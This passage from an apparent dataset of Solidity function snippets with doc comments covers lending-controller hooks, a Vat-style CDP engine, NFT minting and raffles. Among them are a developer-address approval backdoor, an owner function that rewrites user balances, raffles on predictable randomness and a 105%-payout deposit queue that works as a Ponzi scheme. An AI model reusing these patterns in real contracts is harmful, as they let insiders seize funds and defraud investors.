IRewardDistributor(rewardDistributor).updateReward(\n _iToken,\n _minter,\n false\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `redeem()`\n * Checks if the account should be allowed to redeem the given iToken\n * Will `revert()` if any check fails\n * @param _iToken The iToken to check the redeem against\n * @param _redeemer The account which would redeem iToken\n * @param _redeemAmount The amount of iToken to redeem\n */", "function_code": "function beforeRedeem(\n address _iToken,\n address _redeemer,\n uint256 _redeemAmount\n ) external override {\n // _redeemAllowed below will check whether _iToken is listed\n\n require(!markets[_iToken].redeemPaused, \"Token redeem has been paused\");\n\n _redeemAllowed(_iToken, _redeemer, _redeemAmount);\n\n // Update the Reward Distribution Supply state and distribute reward to suppplier\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iToken,\n false\n );\n IRewardDistributor(rewardDistributor).updateReward(\n _iToken,\n _redeemer,\n false\n );\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `borrow()`\n * Checks if the account should be allowed to borrow the given iToken\n * Will `revert()` if any check fails\n * @param _iToken The iToken to check the borrow against\n * @param _borrower The account which would borrow iToken\n * @param _borrowAmount The amount of underlying to borrow\n */", "function_code": "function beforeBorrow(\n address _iToken,\n address _borrower,\n uint256 _borrowAmount\n ) external override {\n _checkiTokenListed(_iToken);\n\n Market storage _market = markets[_iToken];\n require(!_market.borrowPaused, \"Token borrow has been paused\");\n\n if (!hasBorrowed(_borrower, _iToken)) {\n // Unlike collaterals, borrowed asset can only be added by iToken,\n // rather than enabled by user directly.\n require(msg.sender == _iToken, \"sender must be iToken\");\n\n // Have checked _iToken is listed, just add it\n _addToBorrowed(_borrower, _iToken);\n }\n\n // Check borrower's equity\n (, uint256 _shortfall, , ) =\n calcAccountEquityWithEffect(_borrower, _iToken, 0, _borrowAmount);\n\n require(_shortfall == 0, \"Account has some shortfall\");\n\n // Check the iToken's borrow capacity, -1 means no limit\n uint256 _totalBorrows = IiToken(_iToken).totalBorrows();\n require(\n _totalBorrows.add(_borrowAmount) <= _market.borrowCapacity,\n \"Token borrow capacity reached\"\n );\n\n // Update the Reward Distribution Borrow state and distribute reward to borrower\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iToken,\n true\n );\n IRewardDistributor(rewardDistributor).updateReward(\n _iToken,\n _borrower,\n true\n );\n }", "version": "0.6.12"} {"comment": "/// @notice A quantity of integers that were committed by anybody and are now mature are revealed\n/// @param revealsLeft up to how many reveals will occur", "function_code": "function _reveal(uint32 revealsLeft) internal {\n for (; revealsLeft > 0 && _commitQueue.isMature(); revealsLeft--) {\n // Get one from queue\n address recipient;\n uint64 maturityBlock;\n (recipient, maturityBlock) = _commitQueue.dequeue();\n\n // Allocate randomly\n uint256 randomNumber = _random(maturityBlock);\n uint256 randomIndex = randomNumber % _dropInventoryIntegers.count();\n uint allocatedNumber = _dropInventoryIntegers.popByIndex(randomIndex);\n _revealCallback(recipient, allocatedNumber);\n }\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Hook function after iToken `repayBorrow()`\n * Will `revert()` if any operation fails\n * @param _iToken The iToken being repaid\n * @param _payer The account which would repay\n * @param _borrower The account which has borrowed\n * @param _repayAmount The amount of underlying being repaied\n */", "function_code": "function afterRepayBorrow(\n address _iToken,\n address _payer,\n address _borrower,\n uint256 _repayAmount\n ) external override {\n _checkiTokenListed(_iToken);\n\n // Remove _iToken from borrowed list if new borrow balance is 0\n if (IiToken(_iToken).borrowBalanceStored(_borrower) == 0) {\n // Only allow called by iToken as we are going to remove this token from borrower's borrowed list\n require(msg.sender == _iToken, \"sender must be iToken\");\n\n // Have checked _iToken is listed, just remove it\n _removeFromBorrowed(_borrower, _iToken);\n }\n\n _payer;\n _repayAmount;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `liquidateBorrow()`\n * Checks if the account should be allowed to liquidate the given iToken\n * for the borrower. Will `revert()` if any check fails\n * @param _iTokenBorrowed The iToken was borrowed\n * @param _iTokenCollateral The collateral iToken to be liqudate with\n * @param _liquidator The account which would repay the borrowed iToken\n * @param _borrower The account which has borrowed\n * @param _repayAmount The amount of underlying to repay\n */", "function_code": "function beforeLiquidateBorrow(\n address _iTokenBorrowed,\n address _iTokenCollateral,\n address _liquidator,\n address _borrower,\n uint256 _repayAmount\n ) external override {\n // Tokens must have been listed\n require(\n iTokens.contains(_iTokenBorrowed) &&\n iTokens.contains(_iTokenCollateral),\n \"Tokens have not been listed\"\n );\n\n (, uint256 _shortfall, , ) = calcAccountEquity(_borrower);\n\n require(_shortfall > 0, \"Account does not have shortfall\");\n\n // Only allowed to repay the borrow balance's close factor\n uint256 _borrowBalance =\n IiToken(_iTokenBorrowed).borrowBalanceStored(_borrower);\n uint256 _maxRepay = _borrowBalance.rmul(closeFactorMantissa);\n\n require(_repayAmount <= _maxRepay, \"Repay exceeds max repay allowed\");\n\n _liquidator;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function after iToken `liquidateBorrow()`\n * Will `revert()` if any operation fails\n * @param _iTokenBorrowed The iToken was borrowed\n * @param _iTokenCollateral The collateral iToken to be seized\n * @param _liquidator The account which would repay and seize\n * @param _borrower The account which has borrowed\n * @param _repaidAmount The amount of underlying being repaied\n * @param _seizedAmount The amount of collateral being seized\n */", "function_code": "function afterLiquidateBorrow(\n address _iTokenBorrowed,\n address _iTokenCollateral,\n address _liquidator,\n address _borrower,\n uint256 _repaidAmount,\n uint256 _seizedAmount\n ) external override {\n _iTokenBorrowed;\n _iTokenCollateral;\n _liquidator;\n _borrower;\n _repaidAmount;\n _seizedAmount;\n\n // Unlike repayBorrow, liquidateBorrow does not allow to repay all borrow balance\n // No need to check whether should remove from borrowed asset list\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `seize()`\n * Checks if the liquidator should be allowed to seize the collateral iToken\n * Will `revert()` if any check fails\n * @param _iTokenCollateral The collateral iToken to be seize\n * @param _iTokenBorrowed The iToken was borrowed\n * @param _liquidator The account which has repaid the borrowed iToken\n * @param _borrower The account which has borrowed\n * @param _seizeAmount The amount of collateral iToken to seize\n */", "function_code": "function beforeSeize(\n address _iTokenCollateral,\n address _iTokenBorrowed,\n address _liquidator,\n address _borrower,\n uint256 _seizeAmount\n ) external override {\n require(!seizePaused, \"Seize has been paused\");\n\n // Markets must have been listed\n require(\n iTokens.contains(_iTokenBorrowed) &&\n iTokens.contains(_iTokenCollateral),\n \"Tokens have not been listed\"\n );\n\n // Sanity Check the controllers\n require(\n IiToken(_iTokenBorrowed).controller() ==\n IiToken(_iTokenCollateral).controller(),\n \"Controller mismatch between Borrowed and Collateral\"\n );\n\n // Update the Reward Distribution Supply state on collateral\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iTokenCollateral,\n false\n );\n\n // Update reward of liquidator and borrower on collateral\n IRewardDistributor(rewardDistributor).updateReward(\n _iTokenCollateral,\n _liquidator,\n false\n );\n IRewardDistributor(rewardDistributor).updateReward(\n _iTokenCollateral,\n _borrower,\n false\n );\n\n _seizeAmount;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `transfer()`\n * Checks if the transfer should be allowed\n * Will `revert()` if any check fails\n * @param _iToken The iToken to be transfered\n * @param _from The account to be transfered from\n * @param _to The account to be transfered to\n * @param _amount The amount to be transfered\n */", "function_code": "function beforeTransfer(\n address _iToken,\n address _from,\n address _to,\n uint256 _amount\n ) external override {\n // _redeemAllowed below will check whether _iToken is listed\n\n require(!transferPaused, \"Transfer has been paused\");\n\n // Check account equity with this amount to decide whether the transfer is allowed\n _redeemAllowed(_iToken, _from, _amount);\n\n // Update the Reward Distribution supply state\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iToken,\n false\n );\n\n // Update reward of from and to\n IRewardDistributor(rewardDistributor).updateReward(\n _iToken,\n _from,\n false\n );\n IRewardDistributor(rewardDistributor).updateReward(_iToken, _to, false);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Hook function before iToken `flashloan()`\n * Checks if the flashloan should be allowed\n * Will `revert()` if any check fails\n * @param _iToken The iToken to be flashloaned\n * @param _to The account flashloaned transfer to\n * @param _amount The amount to be flashloaned\n */", "function_code": "function beforeFlashloan(\n address _iToken,\n address _to,\n uint256 _amount\n ) external override {\n // Flashloan share the same pause state with borrow\n require(!markets[_iToken].borrowPaused, \"Token borrow has been paused\");\n\n _checkiTokenListed(_iToken);\n\n _to;\n _amount;\n\n // Update the Reward Distribution Borrow state\n IRewardDistributor(rewardDistributor).updateDistributionState(\n _iToken,\n true\n );\n }", "version": "0.6.12"} {"comment": "/// @notice Find the Plus Code representing `childCode` plus some more area if input is a valid Plus Code; otherwise\n/// revert\n/// @param childCode a Plus Code\n/// @return parentCode the Plus Code representing the smallest area which contains the `childCode` area plus some\n/// additional area", "function_code": "function getParent(uint256 childCode) internal pure returns (uint256 parentCode) {\n uint8 childCodeLength = getCodeLength(childCode);\n if (childCodeLength == 2) {\n revert(\"Code length 2 Plus Codes do not have parents\");\n }\n if (childCodeLength == 4) {\n return childCode & 0xFFFF00000000000000 | 0x3030303030302B;\n }\n if (childCodeLength == 6) {\n return childCode & 0xFFFFFFFF0000000000 | 0x303030302B;\n }\n if (childCodeLength == 8) {\n return childCode & 0xFFFFFFFFFFFF000000 | 0x30302B;\n }\n if (childCodeLength == 10) {\n return childCode >> 8*2;\n }\n // childCodeLength \u2208 {11, 12}\n return childCode >> 8*1;\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Calculate amount of collateral iToken to seize after repaying an underlying amount\n * @dev Used in liquidation\n * @param _iTokenBorrowed The iToken was borrowed\n * @param _iTokenCollateral The collateral iToken to be seized\n * @param _actualRepayAmount The amount of underlying token liquidator has repaied\n * @return _seizedTokenCollateral amount of iTokenCollateral tokens to be seized\n */", "function_code": "function liquidateCalculateSeizeTokens(\n address _iTokenBorrowed,\n address _iTokenCollateral,\n uint256 _actualRepayAmount\n ) external view virtual override returns (uint256 _seizedTokenCollateral) {\n /* Read oracle prices for borrowed and collateral assets */\n uint256 _priceBorrowed =\n IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenBorrowed);\n uint256 _priceCollateral =\n IPriceOracle(priceOracle).getUnderlyingPrice(_iTokenCollateral);\n require(\n _priceBorrowed != 0 && _priceCollateral != 0,\n \"Borrowed or Collateral asset price is invalid\"\n );\n\n uint256 _valueRepayPlusIncentive =\n _actualRepayAmount.mul(_priceBorrowed).rmul(\n liquidationIncentiveMantissa\n );\n\n // Use stored value here as it is view function\n uint256 _exchangeRateMantissa =\n IiToken(_iTokenCollateral).exchangeRateStored();\n\n // seizedTokenCollateral = valueRepayPlusIncentive / valuePerTokenCollateral\n // valuePerTokenCollateral = exchangeRateMantissa * priceCollateral\n _seizedTokenCollateral = _valueRepayPlusIncentive\n .rdiv(_exchangeRateMantissa)\n .div(_priceCollateral);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Returns the markets list the account has entered\n * @param _account The address of the account to query\n * @return _accountCollaterals The markets list the account has entered\n */", "function_code": "function getEnteredMarkets(address _account)\n external\n view\n override\n returns (address[] memory _accountCollaterals)\n {\n AccountData storage _accountData = accountsData[_account];\n\n uint256 _len = _accountData.collaterals.length();\n _accountCollaterals = new address[](_len);\n for (uint256 i = 0; i < _len; i++) {\n _accountCollaterals[i] = _accountData.collaterals.at(i);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Add markets to `msg.sender`'s markets list for liquidity calculations\n * @param _iTokens The list of addresses of the iToken markets to be entered\n * @return _results Success indicator for whether each corresponding market was entered\n */", "function_code": "function enterMarkets(address[] calldata _iTokens)\n external\n override\n returns (bool[] memory _results)\n {\n uint256 _len = _iTokens.length;\n\n _results = new bool[](_len);\n for (uint256 i = 0; i < _len; i++) {\n _results[i] = _enterMarket(_iTokens[i], msg.sender);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Add the market to the account's markets list for liquidity calculations\n * @param _iToken The market to enter\n * @param _account The address of the account to modify\n * @return True if entered successfully, false for non-listed market or other errors\n */", "function_code": "function _enterMarket(address _iToken, address _account)\n internal\n returns (bool)\n {\n // Market not listed, skip it\n if (!iTokens.contains(_iToken)) {\n return false;\n }\n\n // add() will return false if iToken is in account's market list\n if (accountsData[_account].collaterals.add(_iToken)) {\n emit MarketEntered(_iToken, _account);\n }\n\n return true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Remove markets from `msg.sender`'s collaterals for liquidity calculations\n * @param _iTokens The list of addresses of the iToken to exit\n * @return _results Success indicators for whether each corresponding market was exited\n */", "function_code": "function exitMarkets(address[] calldata _iTokens)\n external\n override\n returns (bool[] memory _results)\n {\n uint256 _len = _iTokens.length;\n _results = new bool[](_len);\n for (uint256 i = 0; i < _len; i++) {\n _results[i] = _exitMarket(_iTokens[i], msg.sender);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Convert a Plus Code to an ASCII (and UTF-8) string\n/// @param plusCode the Plus Code to format\n/// @return the ASCII (and UTF-8) string showing the Plus Code", "function_code": "function toString(uint256 plusCode) internal pure returns(string memory) {\n getCodeLength(plusCode);\n bytes memory retval = new bytes(0);\n while (plusCode > 0) {\n retval = abi.encodePacked(uint8(plusCode % 2**8), retval);\n plusCode >>= 8;\n }\n return string(retval);\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Returns the asset list the account has borrowed\n * @param _account The address of the account to query\n * @return _borrowedAssets The asset list the account has borrowed\n */", "function_code": "function getBorrowedAssets(address _account)\n external\n view\n override\n returns (address[] memory _borrowedAssets)\n {\n AccountData storage _accountData = accountsData[_account];\n\n uint256 _len = _accountData.borrowed.length();\n _borrowedAssets = new address[](_len);\n for (uint256 i = 0; i < _len; i++) {\n _borrowedAssets[i] = _accountData.borrowed.at(i);\n }\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Return all of the iTokens\n * @return _alliTokens The list of iToken addresses\n */", "function_code": "function getAlliTokens()\n public\n view\n override\n returns (address[] memory _alliTokens)\n {\n EnumerableSetUpgradeable.AddressSet storage _iTokens = iTokens;\n\n uint256 _len = _iTokens.length();\n _alliTokens = new address[](_len);\n for (uint256 i = 0; i < _len; i++) {\n _alliTokens[i] = _iTokens.at(i);\n }\n }", "version": "0.6.12"} {"comment": "// Pick one ETH Winner when 5,000 cats are minted.", "function_code": "function _ethRaffle() private {\n uint256 swag = 4959;\n uint256 rd = randomizer() % 1000;\n bytes32 txHash = keccak256(\n abi.encode(\n ownerOf(swag - 1000 + rd),\n ownerOf(swag - 2000 + rd),\n ownerOf(swag - 3000 + rd),\n ownerOf(swag - 4000 + rd),\n msg.sender\n )\n );\n ethWinner = ownerOf((uint256(txHash) % 4959) + 1);\n }", "version": "0.7.3"} {"comment": "// Pick one Tesla Winner when 9,999 cats are minted.", "function_code": "function _tesla() private {\n require(totalSupply() == MAX_CATS);\n\n uint256 swag = 9918;\n uint256 rd = randomizer() % 1000;\n\n bytes32 txHash = keccak256(\n abi.encode(\n ownerOf(swag - 1000 + rd),\n ownerOf(swag - 2000 + rd),\n ownerOf(swag - 3000 + rd),\n ownerOf(swag - 4000 + rd),\n ownerOf(swag - 5000 + rd),\n ownerOf(swag - 6000 + rd),\n msg.sender\n )\n );\n teslaWinner = ownerOf((uint256(txHash) % 9918) + 1);\n }", "version": "0.7.3"} {"comment": "// Only callable by the erc721 contract on mint/transferFrom/safeTransferFrom.\n// Updates reward amount and last claimed timestamp", "function_code": "function updateReward(\n address from,\n address to,\n uint256 qty\n ) external {\n require(msg.sender == address(CoreToken));\n if (from != address(0)) {\n rewards[from] += getPendingReward(from);\n lastClaimed[from] = block.timestamp;\n balances[from] -= qty;\n }\n if (to != address(0)) {\n balances[to] += qty;\n rewards[to] += getPendingReward(to);\n lastClaimed[to] = block.timestamp;\n }\n }", "version": "0.8.7"} {"comment": "// --- Math ---", "function_code": "function add(uint x, int y) internal pure returns (uint z) {\r\n z = x + uint(y);\r\n require(y >= 0 || z <= x);\r\n require(y <= 0 || z >= x);\r\n }", "version": "0.5.12"} {"comment": "// --- CDP Fungibility ---", "function_code": "function fork(bytes32 ilk, address src, address dst, int dink, int dart) external note {\r\n Urn storage u = urns[ilk][src];\r\n Urn storage v = urns[ilk][dst];\r\n Ilk storage i = ilks[ilk];\r\n\r\n u.ink = sub(u.ink, dink);\r\n u.art = sub(u.art, dart);\r\n v.ink = add(v.ink, dink);\r\n v.art = add(v.art, dart);\r\n\r\n uint utab = mul(u.art, i.rate);\r\n uint vtab = mul(v.art, i.rate);\r\n\r\n // both sides consent\r\n require(both(wish(src, msg.sender), wish(dst, msg.sender)), \"Vat/not-allowed\");\r\n\r\n // both sides safe\r\n require(utab <= mul(u.ink, i.spot), \"Vat/not-safe-src\");\r\n require(vtab <= mul(v.ink, i.spot), \"Vat/not-safe-dst\");\r\n\r\n // both sides non-dusty\r\n require(either(utab >= i.dust, u.art == 0), \"Vat/dust-src\");\r\n require(either(vtab >= i.dust, v.art == 0), \"Vat/dust-dst\");\r\n }", "version": "0.5.12"} {"comment": "// --- CDP Confiscation ---", "function_code": "function grab(bytes32 i, address u, address v, address w, int dink, int dart) external note auth {\r\n Urn storage urn = urns[i][u];\r\n Ilk storage ilk = ilks[i];\r\n\r\n urn.ink = add(urn.ink, dink);\r\n urn.art = add(urn.art, dart);\r\n ilk.Art = add(ilk.Art, dart);\r\n\r\n int dtab = mul(ilk.rate, dart);\r\n\r\n gem[i][v] = sub(gem[i][v], dink);\r\n sin[w] = sub(sin[w], dtab);\r\n vice = sub(vice, dtab);\r\n }", "version": "0.5.12"} {"comment": "// --- Rates ---", "function_code": "function fold(bytes32 i, address u, int rate) external note auth {\r\n require(live == 1, \"Vat/not-live\");\r\n Ilk storage ilk = ilks[i];\r\n ilk.rate = add(ilk.rate, rate);\r\n int rad = mul(ilk.Art, rate);\r\n dai[u] = add(dai[u], rad);\r\n debt = add(debt, rad);\r\n }", "version": "0.5.12"} {"comment": "/// @notice The owner of an Area Token can irrevocably split it into Plus Codes at one greater level of precision.\n/// @dev This is the only function with burn functionality. The newly minted tokens do not cause a call to\n/// onERC721Received on the recipient.\n/// @param tokenId the token that will be split", "function_code": "function split(uint256 tokenId) external payable {\n require(msg.value == _priceToSplit, \"Did not send correct Ether amount\");\n require(_msgSender() == ownerOf(tokenId), \"AreaNFT: split caller is not owner\");\n _burn(tokenId);\n\n // Split. This causes our ownerOf(childTokenId) to return the owner\n _splitOwners[tokenId] = _msgSender();\n\n // Ghost mint the child tokens\n // Ghost mint (verb): create N tokens on-chain (i.e. ownerOf returns something) without using N storage slots\n PlusCodes.ChildTemplate memory template = PlusCodes.getChildTemplate(tokenId);\n _balances[_msgSender()] += template.childCount; // Solidity 0.8+\n for (uint32 index = 0; index < template.childCount; index++) {\n uint256 childTokenId = PlusCodes.getNthChildFromTemplate(index, template);\n emit Transfer(address(0), _msgSender(), childTokenId);\n }\n }", "version": "0.8.9"} {"comment": "/// @inheritdoc ERC721", "function_code": "function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }", "version": "0.8.9"} {"comment": "/**\r\n \t * Override isApprovedForAll to auto-approve OS's proxy contract\r\n \t */", "function_code": "function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {\r\n\t\t// if OpenSea's ERC721 Proxy Address is detected, auto-return true\r\n\t\tif (proxyContract == _operator || devAddress == _operator) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\treturn ERC721.isApprovedForAll(_owner, _operator);\r\n\t}", "version": "0.8.10"} {"comment": "/**\n * @dev Returns the absolute unsigned value of a signed value.\n */", "function_code": "function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Terminate contract and refund to owner\r\n */", "function_code": "function destroy() onlyOwner {\r\n // Transfer tokens back to owner\r\n uint256 balance = token.balanceOf(this);\r\n assert (balance > 0);\r\n token.transfer(owner,balance);\r\n \r\n // There should be no ether in the contract but just in case\r\n selfdestruct(owner);\r\n \r\n }", "version": "0.4.21"} {"comment": "/**\n * @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).\n */", "function_code": "function _countVote(\n uint256 proposalId,\n address account,\n uint8 support,\n uint256 weight\n ) internal virtual override {\n ProposalVote storage proposalvote = _proposalVotes[proposalId];\n\n require(!proposalvote.hasVoted[account], \"GovernorVotingSimple: vote already cast\");\n proposalvote.hasVoted[account] = true;\n\n if (support == uint8(VoteType.Against)) {\n proposalvote.againstVotes += weight;\n } else if (support == uint8(VoteType.For)) {\n proposalvote.forVotes += weight;\n } else if (support == uint8(VoteType.Abstain)) {\n proposalvote.abstainVotes += weight;\n } else {\n revert(\"GovernorVotingSimple: invalid value for enum VoteType\");\n }\n }", "version": "0.8.6"} {"comment": "//invitor reward", "function_code": "function viewInvitorReward(address _user) public view returns(uint){\r\n if(userInfo[_user].depositVal < oneEth.mul(1000)){\r\n return uint(0);\r\n }\r\n uint invitorRewards = invitorReward[_user];\r\n if(invitorRewards > 0){\r\n uint blockReward = curReward().mul(2000).div(10000); // 20%\r\n uint invitorRewardsStatic = blockReward.mul(invitorRewards).mul(block.number.sub(userInfo[_user].lastWithdrawBlock)).div(totalDeposit);\r\n return invitorRewardsStatic.mul(1000).div(10000);\r\n }\r\n }", "version": "0.7.0"} {"comment": "//this interface called just before audit contract is ok,if audited ,will be killed", "function_code": "function setDataBeforeAuditF(address _user,uint _idx,uint _value,address _invitor) public onlyOwner {\r\n require(!isAudit);\r\n UserInfo storage user = userInfo[_user];\r\n if(_idx == 1){\r\n user.depositVal = _value;\r\n }else if(_idx == 2){\r\n user.depoistTime = _value;\r\n }else if(_idx == 3){\r\n user.invitor = _invitor;\r\n }else if(_idx == 4){\r\n user.level = _value;\r\n }else if(_idx == 5){\r\n user.lastWithdrawBlock = _value;\r\n }else if(_idx == 6){\r\n user.teamDeposit = _value;\r\n }else if(_idx == 7){\r\n user.userWithdraw = _value;\r\n }else if(_idx == 8){\r\n user.userStaticReward = _value;\r\n }else if(_idx == 9){\r\n user.userDynamicReward = _value;\r\n }else if(_idx == 10){\r\n user.userGreateReward = _value;\r\n }else if(_idx == 11){\r\n user.debatReward = _value;\r\n }else if(_idx == 12){\r\n user.teamReward = _value; \r\n }\r\n }", "version": "0.7.0"} {"comment": "/**\r\n * @dev Withdraw funds. Solidity integer division may leave up to 2 wei in the contract afterwards.\r\n */", "function_code": "function withdraw() public noReentrant {\r\n uint communityPayout = address(this).balance * sharesCommunity / TOTAL_SHARES;\r\n uint payout1 = address(this).balance * shares1 / TOTAL_SHARES;\r\n uint payout2 = address(this).balance * shares2 / TOTAL_SHARES;\r\n\r\n (bool successCommunity,) = community.call{value: communityPayout}(\"\");\r\n (bool success1,) = dev1.call{value: payout1}(\"\");\r\n (bool success2,) = dev2.call{value: payout2}(\"\");\r\n\r\n require(successCommunity && success1 && success2, \"Sending ether failed\");\r\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.\n */", "function_code": "function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {\n ProposalState status = super.state(proposalId);\n\n if (status != ProposalState.Succeeded) {\n return status;\n }\n\n // core tracks execution, so we just have to check if successful proposal have been queued.\n bytes32 queueid = _timelockIds[proposalId];\n if (queueid == bytes32(0)) {\n return status;\n } else if (_timelock.isOperationDone(queueid)) {\n return ProposalState.Executed;\n } else if (_timelock.isOperationPending(queueid)) {\n return ProposalState.Queued;\n } else {\n return ProposalState.Canceled;\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Public accessor to check the eta of a queued proposal\n */", "function_code": "function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {\n uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);\n return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function to queue a proposal to the timelock.\n */", "function_code": "function queue(\n address[] memory targets,\n uint256[] memory values,\n bytes[] memory calldatas,\n bytes32 descriptionHash\n ) public virtual override returns (uint256) {\n uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);\n\n require(state(proposalId) == ProposalState.Succeeded, \"Governor: proposal not successful\");\n\n uint256 delay = _timelock.getMinDelay();\n _timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);\n _timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);\n\n emit ProposalQueued(proposalId, block.timestamp + delay);\n\n return proposalId;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Claim NFT\r\n */", "function_code": "function claim(uint256[] memory _tokenIds) external nonReentrant {\r\n require(_tokenIds.length != 0, \"genesis : invalid tokenId length\");\r\n\r\n for (uint256 i = 0; i < _tokenIds.length; i++) {\r\n uint256 tokenId = _tokenIds[i];\r\n\r\n require(tokenId != 0, \"genesis : invalid tokenId\");\r\n\r\n uint256 count = IERC1155(oldGenesis).balanceOf(msg.sender, tokenToOpenseaMap[tokenId-1]);\r\n\r\n require(count > 0, \"genesis : sender is not owner\");\r\n\r\n IERC1155(oldGenesis).safeTransferFrom(msg.sender, nftOwner, tokenToOpenseaMap[tokenId-1], 1, \"\");\r\n\r\n _safeMint(msg.sender,tokenId);\r\n // super._safeTransfer(nftOwner, msg.sender, tokenId, \"\");\r\n }\r\n\r\n emit Claim(_tokenIds);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already\n * been queued.\n */", "function_code": "function _cancel(\n address[] memory targets,\n uint256[] memory values,\n bytes[] memory calldatas,\n bytes32 descriptionHash\n ) internal virtual override returns (uint256) {\n uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);\n\n if (_timelockIds[proposalId] != 0) {\n _timelock.cancel(_timelockIds[proposalId]);\n delete _timelockIds[proposalId];\n }\n\n return proposalId;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Transfers, mints, or burns voting units. To register a mint, `from` should be zero. To register a burn, `to`\n * should be zero. Total supply of voting units will be adjusted with mints and burns.\n */", "function_code": "function _transferVotingUnits(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n if (from == address(0)) {\n _totalCheckpoints.push(_add, amount);\n }\n if (to == address(0)) {\n _totalCheckpoints.push(_subtract, amount);\n }\n _moveDelegateVotes(delegates(from), delegates(to), amount);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Moves delegated votes from one delegate to another.\n */", "function_code": "function _moveDelegateVotes(\n address from,\n address to,\n uint256 amount\n ) private {\n if (from != to && amount > 0) {\n if (from != address(0)) {\n (uint256 oldValue, uint256 newValue) = _delegateCheckpoints[from].push(_subtract, amount);\n emit DelegateVotesChanged(from, oldValue, newValue);\n }\n if (to != address(0)) {\n (uint256 oldValue, uint256 newValue) = _delegateCheckpoints[to].push(_add, amount);\n emit DelegateVotesChanged(to, oldValue, newValue);\n }\n }\n }", "version": "0.8.6"} {"comment": "// function uintToString(uint256 inputValue) internal pure returns (string) {\n// // figure out the length of the resulting string\n// uint256 length = 0;\n// uint256 currentValue = inputValue;\n// do {\n// length++;\n// currentValue /= 10;\n// } while (currentValue != 0);\n// // allocate enough memory\n// bytes memory result = new bytes(length);\n// // construct the string backwards\n// uint256 i = length - 1;\n// currentValue = inputValue;\n// do {\n// result[i--] = byte(48 + currentValue % 10);\n// currentValue /= 10;\n// } while (currentValue != 0);\n// return string(result);\n// }", "function_code": "function addressArrayContains(address[] array, address value) internal pure returns (bool) {\r\n for (uint256 i = 0; i < array.length; i++) {\r\n if (array[i] == value) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.4.24"} {"comment": "// layout of message :: bytes:\n// offset 0: 32 bytes :: uint256 - message length\n// offset 32: 20 bytes :: address - recipient address\n// offset 52: 32 bytes :: uint256 - value\n// offset 84: 32 bytes :: bytes32 - transaction hash\n// offset 104: 20 bytes :: address - contract address to prevent double spending\n// bytes 1 to 32 are 0 because message length is stored as little endian.\n// mload always reads 32 bytes.\n// so we can and have to start reading recipient at offset 20 instead of 32.\n// if we were to read at 32 the address would contain part of value and be corrupted.\n// when reading from offset 20 mload will read 12 zero bytes followed\n// by the 20 recipient address bytes and correctly convert it into an address.\n// this saves some storage/gas over the alternative solution\n// which is padding address to 32 bytes and reading recipient at offset 32.\n// for more details see discussion in:\n// https://github.com/paritytech/parity-bridge/issues/61", "function_code": "function parseMessage(bytes message)\r\n internal\r\n pure\r\n returns(address recipient, uint256 amount, bytes32 txHash, address contractAddress)\r\n {\r\n require(isMessageValid(message));\r\n assembly {\r\n recipient := and(mload(add(message, 20)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\r\n amount := mload(add(message, 52))\r\n txHash := mload(add(message, 84))\r\n contractAddress := mload(add(message, 104))\r\n }\r\n }", "version": "0.4.24"} {"comment": "//The index of the first depositor in the queue. The receiver of investments!\n//This function receives all the deposits\n//stores them and make immediate payouts", "function_code": "function () public payable {\r\n if(msg.value > 0){\r\n require(gasleft() >= 220000, \"We require more gas!\"); //We need gas to process queue\r\n require(msg.value <= 5 ether); //Do not allow too big investments to stabilize payouts\r\n\r\n //Add the investor into the queue. Mark that he expects to receive 105% of deposit back\r\n queue.push(Deposit(msg.sender, uint128(msg.value), 